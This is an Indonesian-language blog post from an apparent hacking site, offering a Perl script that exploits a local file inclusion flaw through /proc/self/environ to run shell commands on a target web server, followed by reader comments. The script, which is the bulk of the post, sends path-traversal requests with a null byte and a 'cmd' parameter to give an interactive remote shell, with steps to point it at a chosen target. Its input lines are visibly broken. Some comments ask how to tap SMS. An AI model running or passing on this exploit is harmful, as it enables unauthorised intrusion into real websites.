Home / Coding / LFI Remote Execute in PERL
black-hat-logo

LFI Remote Execute in PERL

Script berikut untuk menjalankan/mengeksekusi LFI proc/elft/environ secara simple di shell.

#! /usr/bin/perl
use LWP;
use HTTP::Request;
if (@ARGV < 1)
{
print "\n==========================================\n";
print " LFI Command Execution \n";
print "==========================================\n";
print "Usage: perl LFI.pl (without http:://)\n";
print "Ex. perl FLI.pl www.korban.com/index.php?page=\n";
exit;
}
$host=$ARGV[0];
$lfi = "..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron";
print "Try to Execution Command!\n";
print "iDSc-shell# ";
chomp( $cmd = );
while($cmd !~ "exit")
{
$content = "";
$ua = LWP::UserAgent->new();
$ua->agent('');
$request = HTTP::Request->new (GET => "http://".$host.$lfi."%00&cmd=".$cmd);
$response = $ua->request ($request);
$content = $response->content;
print $content."\n";
print "iDSc-shell# ";
chomp( $cmd = );
}

Cara menggunakannya adalah:
1. Install perl di komputer anda / komputer target (bersyukurlah kalau sudah terinstall)
2. Save file di atas: “LFI.pl”
3. Kemudian jalankan dengan perintah: “perl FLI.pl www.targetwebsiteanda.com/index.php?page=\n”
4. Tunggu hasilnya 🙂

Semoga berhasil & selamat mengeksplore!

About ijoo

Check Also

url-shortener-memperpendek-url-binushacker

Source Code URL Shortener 2 Versi – MiniUrlz

Halo kawan, ini postingan pertama saya di Binus Hacker, Disini saya akan share clone script …

8 comments

  1. gan.. kq dijalanin error di baris 17 n 28 eah…?

  2. tutorialnya kurang detail bos,,,,,,,,,,,,,,
    maklum masih awam,,,,,,,,,,,

  3. bagai mana cara unistal atau mengnonaftifkan anti-executable tampamengistal ulang windows, jika lupa password nya.

  4. BUNG GIMANA CARANYA MENYADAP SMS ATAU TELP TLG JELASIN MAKASIH

  5. @ariez
    silakan posting error di forum binushacker untuk lebih lengkap.
    agar bisa diliat permasalahannya..

    karena saya tidak mengalami error..

  6. apakah ini bisa run di OS windows ??? mas bro

  7. kalo buat newbie ini kurang jelas om ,, tutorialnya sedikit lengkap dong 🙁

Tinggalkan Balasan

Alamat surel Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *